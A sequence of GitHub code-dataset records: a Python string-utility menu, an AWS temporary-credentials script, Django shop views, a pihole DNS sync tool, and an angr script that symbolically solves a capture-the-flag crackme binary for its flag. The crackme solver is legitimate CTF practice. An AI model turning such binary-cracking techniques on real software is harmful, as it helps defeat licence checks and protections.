word in the paragraph\ndef frequency(paragraph:str):\n l=paragraph.split()\n unique=[]\n for i in l:\n if i not in unique:\n unique.append(i)\n count_list=[]\n for j in unique:\n count=0\n for k in l:\n if j==k: \n count+=1\n count_list.append(count)\n freq_dict={}\n for m in range(len(unique)):\n freq_dict[unique[m]]=count_list[m]\n return freq_dict\n \n#Checking if 'a' and 'an' are in right place\ndef vowel_correct_checker(paragraph:str):\n list1=paragraph.split()\n vowels=['a','e','i','o','u']\n count=0\n for i in range (len(list1)):\n if list1[i]=='a':\n if (list1[i+1])[0] in vowels:\n print(\"Wrong! 'a' before a vowel starting word\",'\\\"'+list1[i+1]+'\\\"')\n count+=1 \n elif list1[i]=='an':\n if (list1[i+1])[0] not in vowels:\n print(\"Wrong! 'an' before a consonant starting word\",'\\\"'+list1[i+1]+\"\\\"\")\n count+=1 \n if count==0: \n print(\"There is no problem with 'a' and 'an' in your paragraph\") \n#vowel_correct_checker('i am niranjan . i have a apple , i go to an school an')\n\n#vowel counter:\ndef vowel_counter(paragraph:str):\n vowels=['a','e','i','o','u']\n count_list=[]\n for i in vowels:\n count=0\n for j in paragraph:\n if i==j: \n count+=1\n count_list.append(count) \n new_dict={}\n sum=0\n for l in count_list:\n sum+=l\n for k in range(5):\n new_dict[vowels[k]]=count_list[k]\n print(new_dict)\n print(\"Total vowels in the string:\"+str(sum))\n#vowel_counter(lower(str))\n####print(vowel_counter(str))\n#consonant counter:\ndef consonant_counter(paragraph:str):\n consonant='bcdfghjklmnpqrstvwxyz'\n consonant_list=[]\n for l in consonant:\n consonant_list.append(l)\n count_list=[]\n for i in consonant_list:\n count=0\n for j in paragraph:\n if capital(i)==capital(j) or lower(i)==lower(j):\n count+=1\n count_list.append(count)\n new_dict={}\n for k in range (len(consonant_list)):\n new_dict[capital(consonant_list[k])]=count_list[k]\n return new_dict\n\n####print(consonant_counter(str))\n\n#Adding a word at an index\ndef word_adder(paragraph:str,index:int,word_to_add:str):\n list1=paragraph.split()\n list2=list1[0:index]\n list2.append(word_to_add)\n list2+=list1[index:length(paragraph)]\n new_str=''\n for i in list2:\n new_str+=i+' '\n return new_str\n#print(*word_adder(str,3,'lololo'))\n\n#Calculating total special characters\ndef special_word_character(paragraph:str):\n count=0\n for i in paragraph:\n if ord(i) in range (32,48) or ord(i) in range (58,65) or ord(i) in range (91,97) or ord(i) in range(123,127):\n if i!=' ':\n count+=1 \n return count\n#print(special_word_character(str))\n#calculating Number of spaces:\ndef no_of_spaces(paragraph:str):\n count=0\n for i in paragraph:\n if i==' ':\n count+=1\n return count\n#print(no_of_spaces(str))\n\n#Changing uppercase characters to lowercase and lowercase to uppercase\ndef up_low_reverse(paragraph:str):\n new_str=''\n for i in paragraph:\n if ord(i)<=122 and ord(i)>=97:\n new_str+=chr(ord(i)-32)\n elif ord(i)<=90 and ord(i)>=65:\n new_str+=chr(ord(i)+32)\n else:\n new_str+=i \n return new_str\n#print (up_low_reverse(str))\n\n#Removing all the occurance of a word from the string\ndef remove(paragraph:str,target:str):\n list1=paragraph.split()\n new_str=''\n for i in list1:\n if i==target:\n new_str+=''\n else:\n new_str+=i+' '\n print(new_str)\n#remove(str,'hello')\n\n\n#Return the position of first occurance of a word in a string\ndef position(paragraph:str,target:str):\n list1=paragraph.split()\n if target in list1:\n for i in range(len(list1)):\n if list1[i]==target:\n print(\"Entered word is present at index\",i,\"from beginning\")\n break\n else:\n print(\"Entered word is not present in the string\")\n#position(str,'old')\n\n#Make a new string which contain only those words which are present at even position from the given input string.\ndef even_string(paragraph:str):\n list1=paragraph.split()\n new_str=''\n for i in range(0,len(list1),2):\n new_str+=list1[i]+' '\n print(new_str)\n#even_string(str)\n\n\n#Make a new string which contain only those words which are present at odd position from the given input string.\ndef odd_string(paragraph:str):\n list1=paragraph.split()\n new_str=''\n for i in range(1,len(list1),2):\n new_str+=list1[i]+' '\n print(new_str)\n#odd_string(str)\n\n#Reversing the content of each word\ndef rev_word(paragraph:str):\n list1=paragraph.split()\n new_str=''\n for i in list1:\n new_i=i[::-1]\n new_str+=new_i+' '\n print(new_str)\n#rev_word(str)\n#Reverse only the content of those words which are present at even index\ndef rev_even_word(paragraph:str):\n list1=paragraph.split()\n new_str=''\n count=0\n for i in list1:\n count+=1\n if count%2==0:\n new_i=i[::-1]\n new_str+=new_i+' '\n else:\n new_str+=i+' '\n print(new_str)\n#rev_even_word(str)\n#Reverse only the content of those words which are present at odd index\ndef rev_odd_word(paragraph:str):\n list1=paragraph.split()\n new_str=''\n count=0\n for i in list1:\n count+=1\n if count%2==1:\n new_i=i[::-1]\n new_str+=new_i+' '\n else:\n new_str+=i+' '\n print(new_str)\n#rev_odd_word(str)\n\n#Remove all space from the input string\ndef remove_whitespace(paragraph:str):\n new_str=''\n for i in paragraph:\n if i!=' ' and i!='\\n':\n new_str+=i\n print(new_str)\n#remove_whitespace(str)\n\n#Find duplicate characters in a given string\ndef duplicate_characters(paragraph:str):\n list1=paragraph.split()\n duplicate_list=[]\n for i in list1:\n count=0\n for j in list1:\n if i==j:\n count+=1\n if count!=1 and i not in duplicate_list:\n duplicate_list.append(i)\n print(duplicate_list)\n#Find unique characters in a given string\ndef unique_characters(paragraph:str):\n list1=paragraph.split()\n unique_list=[]\n for i in list1:\n count=0\n for j in list1:\n if i==j:\n count+=1\n if count==1 and i not in unique_list:\n unique_list.append(i)\n print(unique_list)\n#Maximum occurring character in given String\ndef max_frequency(paragraph:str):\n dict1=frequency(paragraph)\n words=list(dict1.keys())\n values=list((dict1).values())\n max_len=max(values)\n max_index=values.index(max_len)\n print(\"The maximum frequency is of\",\"'\"+words[max_index]+\"'\",\"and is equal to\",max_len)\n\n\n#Frequency of the specified word in the string:\ndef freq_word(paragraph:str,target:str):\n dict1=frequency(paragraph)\n if target in dict1.keys():\n print(\"The frequency of\",\"'\"+target+\"'\",\"is equal to\",dict1[target])\n else:\n print(\"'\"+target+\"'\",\"is not present in specifed paragraphs\")\n\n#Print the first non-repeated character from a string\ndef first_non_repeated(paragraph:str):\n dict1=frequency(paragraph)\n print((list(dict1.keys())[0]))\n\n\n \n\n#MAIN CODE\nparagraph=''\nprint('=================================================================')\nprint(\"ENTER STRING TO MANIPULATE\")\nprint('=================================================================')\n\nwhile True:\n line=input()\n if line=='':\n break\n paragraph+=line+'\\n'\n#correct\n\n#Application Menu\nmenu1='''Press 1:To print total characters in the entered string\nPress 2:For counting related facilities\nPress 3:For changing case of provided string\nPress 4:For frequency related facilities\nPress 5:For finding related facilities\nPress 6:For reverse related facilities\nPress 7:To check if vowels 'a' and 'an' are at correct places.\nPress 8:For remove related facilities\nPress 9:To add a word at a particular index\nPress 10:For miscellaneous fascilities \nPress -1:To exit Menu'''\nmenu2='''1:To count the total words in the entered string\n2:To count the total alphabets in the entered string\n3:To count the total numbers in the entered string\n4:To count the total special characters in the string\n5:To count the total number of whitespaces\n-1:To Exit program'''\nmenu3='''1:To convert the Entered string into Uppercase\n2:To convert the Entered string into Lowercase\n3:To change uppercase characters to lowercase and lowercase to uppercase\n-1:To Exit program'''\nmenu4='''1:To display the frequency of each word in the string\n2:To display the frequency of each vowel in the string\n3:To display the frequency of each consonant in the string\n4:To find the frequency of entered word \n5:To display the word with maximum frequency\n-1:To Exit program '''\nmenu5='''1:To check if a word is present in the string\n2:To find and replace a word in the string\n-1:To Exit program'''\n\nmenu6='''1:To reverse the string\n2:To reverse the content of each word\n3:To reverse only the content of those words which are present at even index\n4:To reverse only the content of those words which are present at odd index\n-1:To Exit program'''\nmenu8='''1:To remove all the occurance of a word from the string\n2:To remove whitespaces from the given string\n-1:To Exit program'''\nmenu10='''1:To return the position of first occurance of a word in a string\n2:To display only those words which are present at even position\n3:To display only those words which are present at odd position\n4:To find duplicate characters in a given string\n5:To find unique characters in a given string\n-1:To Exit program '''\n\n\nwhile True:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE MENU\")\n print('=================================================================')\n print(menu1)\n print('=================================================================')\n \n choice=int((input(\"Enter Choice:\")))\n if choice==1:\n print(\"The length of the entered string is:\"+str(length(paragraph)))\n \n elif choice==2:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB-MENU\")\n print('=================================================================')\n print(menu2)\n print('=================================================================')\n\n choice2=int(input(\"Enter Choice:\"))\n if choice2==1:\n print(\"Total characters in the entered string:\",no_of_words(paragraph))\n elif choice2==2:\n print(\"Total alphabets in the entered string are:\",no_of_alphabets(paragraph))\n elif choice2==3:\n print(\"Total numbers/digits in the entered string are:\",no_of_digits(paragraph))\n elif choice2==4:\n print(\"Total whitespaces in the entered string are:\",special_word_character(paragraph))\n elif choice2==5:\n print(\"Total whitespaces in the entered string are:\",no_of_spaces(paragraph))\n elif choice2==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n \n elif choice==3:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB-MENU\")\n print('=================================================================')\n print(menu3)\n print('=================================================================')\n choice3=int(input(\"Enter Choice:\"))\n if choice3==1:\n print(capital(paragraph))\n elif choice3==2:\n print(lower(paragraph))\n elif choice3==3:\n print(up_low_reverse(paragraph))\n elif choice3==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n\n\n elif choice==4:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB-MENU\")\n print('=================================================================')\n print(menu4)\n print('=================================================================')\n choice4=int(input(\"Enter Choice:\"))\n if choice4==1:\n print(\"THE FREQUENCY OF EACH WORD IN THE STRING\")\n print(frequency(paragraph))\n elif choice4==2:\n print(\"The frequency of vowels in the entered string is:\",vowel_counter(paragraph))\n elif choice4==3:\n print(\"The frequency of consonants in the entered string is:\",consonant_counter(paragraph))\n elif choice4==4:\n target=input(\"Enter word to find the frequency:\")\n freq_word(paragraph,target)\n \n elif choice4==5:\n max_frequency(paragraph)\n elif choice4==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n \n elif choice==5:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB_MENU\")\n print('=================================================================')\n print(menu5)\n print('=================================================================')\n choice5=int(input('Enter Choice:'))\n if choice5==1:\n word_to_find=input(\"Enter word to find:\")\n if find(paragraph,word_to_find)==True:\n print(\"Yes,\",\"'\"+word_to_find+\"'\",\"is present in the entered string.\")\n else:\n print(\"No,\",\"'\"+word_to_find+\"'\",\"is not present in the entered string.\") \n elif choice5==2:\n word_to_be_replaced1=input(\"Enter word to find:\")\n word_to_replace=input(\"Enter word to replace it with:\")\n print(find_replace(paragraph,word_to_be_replaced1,word_to_replace))\n elif choice5==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n \n\n elif choice==6:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB_MENU\")\n print('=================================================================')\n print(menu6)\n print('=================================================================')\n choice6=int(input('Enter Choice:'))\n if choice6==1:\n print(reverse(paragraph))\n elif choice6==2:\n rev_word(paragraph)\n elif choice6==3:\n rev_even_word(paragraph)\n elif choice6==4:\n rev_odd_word(paragraph)\n elif choice6==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n\n \n elif choice==7:\n vowel_correct_checker(paragraph)\n \n elif choice==8:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB_MENU\")\n print('=================================================================')\n print(menu8)\n print('=================================================================')\n choice8=int(input('Enter Sub-choice:'))\n if choice8==1:\n word_to_be_removed=input(\"Enter the word to be removed:\")\n remove(paragraph,word_to_be_removed)\n elif choice8==2:\n remove_whitespace(paragraph)\n elif choice8==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n \n \n elif choice==9:\n index=int(input(\"Enter index where word is to be entered:\"))\n word_to_be_added=input(\"Enter word to inserted:\")\n print(word_adder(paragraph,index,word_to_be_added))\n \n elif choice==10:\n print('=================================================================')\n print(\"SELECT YOUR CHOICE FROM THE SUB_MENU\")\n print('=================================================================')\n print(menu10)\n print('=================================================================')\n choice10=int(input('Enter Choice:'))\n if choice10==1:\n target=input(\"Enter word to find its position:\")\n position(paragraph,target)\n elif choice10==2:\n even_string(paragraph)\n elif choice10==3:\n odd_string(paragraph)\n elif choice10==5:\n unique_characters(paragraph)\n elif choice10==4:\n duplicate_characters(paragraph) \n elif choice10==-1:\n print(\"Thank you for using this program\")\n break \n else:\n print(\"Invalid Input, Enter a valid input!\")\n \n elif choice==-1:\n print(\"Thank you for using this program\")\n break \n \n \n continu=capital(input(\"Do you want to continue(Y/N)?\"))\n if continu==\"Y\":\n pass\n elif continu=='N':\n print(\"Thank you for using this program\")\n break\n\n\n\n \n \n","repo_name":"NiranjanSharma12382/Project1","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":19651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21524779463","text":"n=int(input())\nl=list(map(int,input().split()))\nmin=999\nc=1\ndc=0\nf=[]\nfor i in l:\n dc=0\n while(i):\n r=i%10\n i=i//10\n dc+=1\n f.append(dc)\nf.sort()\nfor i in f:\n if (i<min):\n min=i\n elif (i==min):\n c+=1\n else:\n continue\nprint(c)\n","repo_name":"21A91A05B4/codemind-python","sub_path":"Minimum_digit_elements.py","file_name":"Minimum_digit_elements.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2247889685","text":"#!/usr/bin/env python\n# -*- encoding: utf-8\n\nimport configparser\nimport os\nimport sys\n\nimport boto3\nimport click\n\n\ndef get_credentials(*, account_id, role_name):\n iam_client = boto3.client(\"iam\")\n sts_client = boto3.client(\"sts\")\n\n username = iam_client.get_user()[\"User\"][\"UserName\"]\n\n role_arn = f\"arn:aws:iam::{account_id}:role/{role_name}\"\n role_session_name = f\"{username}@{role_name}.{account_id}\"\n\n resp = sts_client.assume_role(\n RoleArn=role_arn,\n RoleSessionName=role_session_name\n )\n\n return resp[\"Credentials\"]\n\n\ndef update_credentials_file(*, profile_name, credentials):\n aws_dir = os.path.join(os.environ[\"HOME\"], \".aws\")\n\n credentials_path = os.path.join(aws_dir, \"credentials\")\n config = configparser.ConfigParser()\n config.read(credentials_path)\n\n if profile_name not in config.sections():\n config.add_section(profile_name)\n\n assert profile_name in config.sections()\n\n config[profile_name][\"aws_access_key_id\"] = credentials[\"AccessKeyId\"]\n config[profile_name][\"aws_secret_access_key\"] = credentials[\"SecretAccessKey\"]\n config[profile_name][\"aws_session_token\"] = credentials[\"SessionToken\"]\n\n config.write(open(credentials_path, \"w\"), space_around_delimiters=False)\n\n\n@click.command()\n@click.option(\"--account_id\", required=True)\n@click.option(\"--role_name\", required=True)\n@click.option(\"--profile_name\")\ndef save_assumed_role_credentials(account_id, role_name, profile_name):\n if profile_name is None:\n profile_name = account_id\n\n credentials = get_credentials(\n account_id=account_id,\n role_name=role_name\n )\n\n update_credentials_file(profile_name=profile_name, credentials=credentials)\n\n\nif __name__ == \"__main__\":\n save_assumed_role_credentials()\n","repo_name":"alexwlchan/junkdrawer","sub_path":"aws/issue_temporary_credentials.py","file_name":"issue_temporary_credentials.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"30981764985","text":"\nimport angr\nimport claripy\n\np = angr.Project(\"./easy_crack_me\")\n\nn = 39\nflag = claripy.BVS('flag', n * 8)\nprint(flag)\n#for byte in flag.chop(8):\n# state.add_constraints(byte >= b'0')\n# state.add_constraints(byte <= b'9')\n# state.memory.store(0x403048, flag)\nargv = [\"./easy_crack_me\"]\nargv.append(flag)\nstate = p.factory.entry_state(args=argv)\n\nsm = p.factory.simulation_manager(state)\nsm.explore(find=0x400e24, avoid=[0x4007cb, 0x40080e, 0x40093a, 0x400bde, 0x400c2c, 0x400d17, 0x400d81, 0x400e01] )\n\nfound = sm.found[0]\nans = found.solver.eval(flag, cast_to=bytes)\nprint(ans)\n","repo_name":"smallkirby/pwn-writeups","sub_path":"batalist/easycrackm/angr_exploit.py","file_name":"angr_exploit.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"75"} +{"seq_id":"41760818103","text":"from django.shortcuts import render,HttpResponseRedirect\nfrom django.http import HttpResponse\n# Create your views here.\nfrom Store.models import *\nfrom Qshop.views import *\n\n\n# 购物车\n@Valid_Buyer\ndef carts(request):\n zongjia=0\n user_id=int(request.COOKIES.get('user_id'))\n shop_list=BuyCar.objects.filter(user_id=user_id)\n shops=[]\n for shop in shop_list:\n shops.append(\n {\n 'id':shop.id,\n \"commodity_name\":shop.commodity_name,\n \"commodity_id\":shop.commodity_id,\n \"commodity_price\": shop.commodity_price,\n \"commodity_number\": shop.commodity_number,\n \"commodity_picture\": shop.commodity_picture,\n \"total\": shop.commodity_price*shop.commodity_number,\n }\n )\n jianshu=len(shops)\n for i in shops:\n zongjia=zongjia+i[\"total\"]\n return render(request,'buyer/carts.html',locals())\n\n# 注册\ndef register(request):\n if request.method=='POST':\n data=request.POST\n username=data.get('user_name')\n password = data.get('pwd')\n\n user=Buyer()\n user.login_name=username\n user.password=setPassword(password)\n user.save()\n return HttpResponseRedirect('/Buyer/login')\n return render(request,'buyer/register.html')\n\n# 登录\ndef login(request):\n if request.method=='POST':\n data=request.POST\n username=data.get('username')\n password = data.get('pwd')\n\n user=Buyer.objects.filter(login_name=username).first()\n if user:\n db_password=user.password\n form_password=setPassword(password)\n if db_password==form_password:\n response=HttpResponseRedirect('/')\n response.set_cookie('username',user.login_name)\n response.set_cookie('user_id', user.id)\n return response\n\n return render(request,'buyer/login.html')\n\n# 商品首页\n@Valid_Buyer\ndef index(request):\n buycar=BuyCar.objects.all().filter(user_id=request.COOKIES.get(\"user_id\"))\n num=len(buycar)\n types=Type.objects.filter(parert=0)\n result=[\n\n ]\n for t in types:#遍历每种类型,并且获取对应商品信息\n d={}\n d['type']=t\n d['data']=t.commodity_set.filter(delete_falg='false').order_by('-commodity_data')[:4]\n d['data1'] = t.commodity_set.filter(delete_falg='false').order_by('commodity_data')[:3]\n result.append(d)\n return render(request,'buyer/index.html',locals())\n\nfrom django.core.paginator import Paginator\n\n# 商品分页显示\n@Valid_Buyer\ndef shop_list(request,type_id,page):\n buycar=BuyCar.objects.all().filter(user_id=request.COOKIES.get(\"user_id\"))\n num=len(buycar)\n t_id=type_id\n page_int=int(page)\n coms=Type.objects.get(id=int(type_id)).commodity_set.filter(delete_falg='false')\n paginator = Paginator(coms, 10)\n page_data = paginator.page(page_int)\n\n if page_int < 4:\n page_range = range(1, 6)\n else:\n page_range = paginator.page_range[page_int - 3:page_int + 2]\n if page_int == 1:\n shangyiye=0\n else:\n shangyiye=page_int-1\n next_page=page_int+1\n return render(request,'buyer/list.html',locals())\n\n\nfrom Buyer.models import *\n\n# def search(request):\n# buycar=BuyCar.objects.all().filter(user_id=request.COOKIES.get(\"user_id\"))\n# num=len(buycar)\n# com=Commodity.objects.all()\n# if request.method=='GET':\n# name=request.GET.get('shopname')\n# for c in com:\n# if c.commodity_name==name:\n# id=c.id\n# url=\"/Buyer/detail/\"+str(id)\n# return HttpResponseRedirect(url)\n#\n# # return render(request,\"buyer/search_shop.html\",locals())\n\n# 商品详情页\n@Valid_Buyer\ndef detail(request,com_id):\n buycar=BuyCar.objects.all().filter(user_id=request.COOKIES.get(\"user_id\"))\n num=len(buycar)\n com=Commodity.objects.get(id=int(com_id))\n if request.method=='POST':\n number=request.POST.get('number')\n car=BuyCar()\n car.commodity_name=com.commodity_name\n car.commodity_id=com.id\n car.commodity_price=com.commodity_price\n car.commodity_number=number\n car.commodity_picture=com.commodity_picture\n\n car.shop_id=com.shop.id#商品和店铺为多对一关系,直接商品.商铺.id获得店铺id\n # user=Buyer.objects.get(login_name=request.COOKIES.get('username'))\n # car.buyuser_id=user.id\n\n car.user_id= request.COOKIES.get('user_id')#通过COOKIES获得对应用户id\n car.save()\n return HttpResponseRedirect('/Buyer/carts')\n print(request.META.get(\"HTTP_REFERER\"))\n return render(request,'buyer/detail.html',locals())\n\n# 用户中心\ndef usercenter(request):\n buycar=BuyCar.objects.all().filter(user_id=request.COOKIES.get(\"user_id\"))\n num=len(buycar)\n add_list=Address.objects.all()\n if request.method=='POST':\n data=request.POST\n recver=data.get('recver')\n address = data.get('address')\n phone = data.get('phone')\n\n addr=Address()\n addr.address=address\n addr.recver=recver\n addr.phone=phone\n addr.buyer_id=Buyer.objects.get(id=int(request.COOKIES.get('user_id')))\n addr.save()\n\n return render(request,'buyer/usercenter.html',locals())\n\n# 添加订单地址\n@Valid_Buyer\ndef place_order(request):\n buycar=BuyCar.objects.all().filter(user_id=request.COOKIES.get(\"user_id\"))\n num=len(buycar)\n if request.method=='POST':\n address=Address.objects.all()\n car_shop_list=[]\n xiaoji=[]\n\n heji = 0\n for k,v in request.POST.items():\n if v == 'on':\n car_data=BuyCar.objects.get(id=int(k))\n x=car_data.commodity_price*car_data.commodity_number\n xiaoji.append(x)\n heji=heji+car_data.commodity_price*car_data.commodity_number\n car_shop_list.append(car_data)\n zongshu=len(car_shop_list)\n car_shop_list=enumerate(car_shop_list,1)\n car_shop_lists={\n \"car_shop_list\":car_shop_list,\n \"xiaoji\":xiaoji\n }\n return render(request,'buyer/place_order.html',locals())\n else:\n return HttpResponse('bad request method')\n\n\nfrom django.http import JsonResponse\nfrom Qshop.views import sendMessage,validCode\n\n# 发送验证码\ndef sendCode(request):\n result = {\"status\": \"error\", \"data\": \"\"}\n if request.method == 'GET':\n recver=request.GET.get('recver')\n res=sendMessage(recver)\n if res=='ok':\n result['status']='success'\n result['data']='验证码发送成功'\n else:\n result['data']='发送失败'\n return JsonResponse(result)\n\n# 验证验证码\ndef codeValid(request):\n result={}\n if request.method=='POST':\n email=request.POST.get('email')\n code=request.POST.get('code')\n result=validCode(email,code)\n if result['data']=='验证成功':\n return HttpResponseRedirect('/')\n return render(request,'buyer/validCode.html',locals())\n\nimport datetime\nfrom Qshop.views import Pay\n\n# 支付功能\ndef pay(request):\n if request.method=='GET' and request.GET:\n data=request.GET\n data_item=data.items()\n order=Order()\n order.user_address=Address.objects.get(id=1)\n order.status=0\n order.date=datetime.datetime.now()\n order.user_id=Buyer.objects.get(id=request.COOKIES.get('user_id'))\n order.save()\n order.order_number='sp'+str(order.id).zfill(10)\n order.save()\n money=0\n for k,v in data_item:\n if k.startswith('shop_'):\n car_id=int(v)\n data=BuyCar.objects.get(id=car_id)\n order_reource=OrderResource()\n order_reource.commodity_name=data.commodity_name\n order_reource.commodity_id = data.commodity_id\n order_reource.commodity_price = data.commodity_price\n order_reource.commodity_number = data.commodity_number\n order_reource.commodity_picture = data.commodity_picture\n order_reource.small_money = data.commodity_price*data.commodity_number\n order_reource.order_id = order\n order_reource.store_id = Store.objects.get(id=data.shop_id)\n order_reource.save()\n money+=order_reource.small_money\n order.money=money\n url=Pay(order.order_number,order.money)\n return HttpResponseRedirect(url)\n # return render_to_response(request,url)\n\n# 购物车删除商品\ndef delete(request,id):\n url=request.META.get('HTTP_REFERER')\n buycar_com=BuyCar.objects.get(id=int(id))\n buycar_com.delete()\n return HttpResponseRedirect(url)","repo_name":"huazainull/my_shop","sub_path":"Buyer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"246053558","text":"# This is a minmax implementation for the game tic tac toe.\n\nimport sys\nfrom python_codes.minimax import *\n\nwhile True:\n for event in pg.event.get():\n if event.type == pg.QUIT:\n sys.exit()\n\n if event.type == pg.MOUSEBUTTONDOWN and not game.game_over:\n pos = (event.pos[1] // SQ_WIDTH, event.pos[0] // SQ_HEIGHT)\n\n if game.player == 2:\n if game.is_spot_available(pos):\n game.update_board(pos)\n game.draw_player_fig(pos)\n if game.check_win(pos):\n game.game_over = True\n break # so that the computer doesnt keep playing\n\n game.update_player()\n\n if game.player == 1:\n # bot.random_computer_move()\n game.aiPos = best_move()\n print('ai pos = ', game.aiPos)\n game.update_board(game.aiPos)\n game.draw_player_fig(game.aiPos)\n\n if game.check_win(game.aiPos):\n game.game_over = True\n\n game.update_player()\n\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_r: # press r key to restart game\n game.__init__() # restart the game\n\n pg.display.update()\n","repo_name":"gonzal0lguin/ScaraBot","sub_path":"python_codes/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"26477908586","text":"import cv2\r\nimport numpy as np\r\n\r\nim = cv2.imread(\"output.png\",cv2.IMREAD_ANYCOLOR)\r\n#imS = cv2.resize(im, (960, 540)) \r\n\r\nblur = cv2.GaussianBlur(im,(5,5),0)\r\n\r\ncv2.imshow(\"blur\",blur)\r\ngray = cv2.cvtColor(blur, cv2.COLOR_BGR2GRAY)\r\n \r\ncv2.imshow('Grayscale',gray)\r\n\r\ncv2.imwrite('output.png',gray)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n\r\n","repo_name":"fennnnnn02/opencv-basics","sub_path":"blur.py","file_name":"blur.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72891136562","text":"#!/usr/bin/env python\nfrom dataclasses import dataclass\nfrom os import getuid, sync\nfrom pathlib import Path\nfrom shutil import move, which\nfrom subprocess import run\nfrom typing import Any, List\n\nimport click\nfrom dataclasses_json import dataclass_json\nfrom paho.mqtt.client import Client, MQTTMessage\n\n\n@dataclass_json\n@dataclass\nclass DomainMessage:\n domain: str\n ip: str\n\n\ndns_records_file = Path(\"/etc/pihole/custom.list\")\n\n\ndef read_old_dns() -> List[DomainMessage]:\n records = list(\n filter(\n lambda line: line != \"\",\n dns_records_file.read_text(encoding=\"utf-8\").split(\"\\n\"),\n )\n )\n\n return [\n DomainMessage(ip=line.split()[0], domain=line.split()[1]) for line in records\n ]\n\n\ndef write_new_dns(old_records: List[DomainMessage], new_record: DomainMessage):\n new_list_file = Path(\"/tmp/custom.list.new\")\n new_records = [*old_records, new_record]\n with new_list_file.open(mode=\"w\", encoding=\"utf-8\") as file:\n for record in new_records:\n file.write(f\"{record.ip} {record.domain}\\n\")\n\n move(new_list_file, dns_records_file)\n sync()\n print(f\"Wrote new pihole dns config {str(dns_records_file)}\")\n\n\ndef on_message(client: Client, userdata: Any, msg: MQTTMessage):\n message: DomainMessage = DomainMessage.from_json(msg.payload)\n old_records = read_old_dns()\n if message in old_records:\n return\n\n write_new_dns(old_records, message)\n\n pihole = which(\"pihole\")\n if pihole:\n proc = run([pihole, \"restartdns\", \"reload\"], capture_output=True)\n if proc.returncode == 0:\n print(\"Updated dns\")\n else:\n print(proc.stderr)\n\n\n@click.command(\n help=\"Connect to [HOST] and listen for domains to put in the pihole dns list\"\n)\n@click.argument(\"host\")\n@click.option(\"-p\", \"--port\", default=1883, help=\"The MQTT port to connect to\")\n@click.option(\"-t\", \"--topic\", default=\"domains\", help=\"The MQTT topic to listen on\")\ndef main(host: str, port: int, topic: str):\n client = Client(client_id=\"pihole\")\n client.connect(host, port)\n client.subscribe(topic=topic)\n client.on_connect = lambda c, userdata, flags, rc: print(f\"Connected with rc: {rc}\")\n client.on_message = on_message\n\n client.loop_forever()\n\n\n@click.command(\n help=\"Install and enable a systemd unit for the minica sync program with the given host, port and topic\"\n)\n@click.argument(\"host\")\n@click.option(\"-p\", \"--port\", default=1883, help=\"The MQTT port to connect to\")\n@click.option(\"-t\", \"--topic\", default=\"domains\", help=\"The MQTT topic to listen on\")\ndef install(host: str, port: int, topic: str):\n systemd_unit_file = Path(\"/etc/systemd/system/minicasync.service\")\n if systemd_unit_file.exists():\n print(f\"Systemd unit service already installed at {str(systemd_unit_file)}\")\n exit(1)\n\n if getuid() != 0:\n print(\"Can't install unless you're root, rerun the program with sudo\")\n exit(2)\n\n bin = which(\"minica-pihole-sync\")\n if not bin:\n print(\"minica-pihole-sync not found in $PATH, you need to install this as root\")\n print(\"\\t$ pip install minica-api-pihole-client\")\n exit(3)\n\n unit_contents = f\"\"\"\n [Unit]\n Description=Sync traefik minica domain events to pihole dns\n After=network-online.target\n Wants=network-online.target\n \n [Service]\n User=root\n ExecStart={bin} --port {port} --topic {topic} {host}\n Restart=always\n \n [Install]\n WantedBy=multi-user.target\n \"\"\"\n lines = list(map(lambda l: l.strip(), filter(None, unit_contents.split(\"\\n\"))))\n print(f\"Installing the following to {systemd_unit_file}\")\n print(\"\\n\".join(lines))\n\n with systemd_unit_file.open(\"w\") as fp:\n fp.write(\"\\n\".join(lines))\n sync()\n print(f\"Installed service file at {str(systemd_unit_file)}\")\n\n proc = run(\n [\"systemctl\", \"enable\", \"--now\", systemd_unit_file.name], capture_output=True\n )\n if proc.returncode > 0:\n print(proc.stderr)\n exit(proc.returncode)\n else:\n print(\"Enabled service\")\n\n\n@click.command(help=\"Uninstall the systemd unit for the minica sync listener\")\ndef uninstall():\n if getuid() != 0:\n print(\"Can't uninstall unless you're root, rerun the program with sudo\")\n exit(1)\n\n systemd_unit_file = Path(\"/etc/systemd/system/minicasync.service\")\n if not systemd_unit_file.exists():\n print(\"Systemd unit file not installed\")\n exit(2)\n\n print(\"Disabling systemd service\")\n run([\"systemctl\", \"disable\", 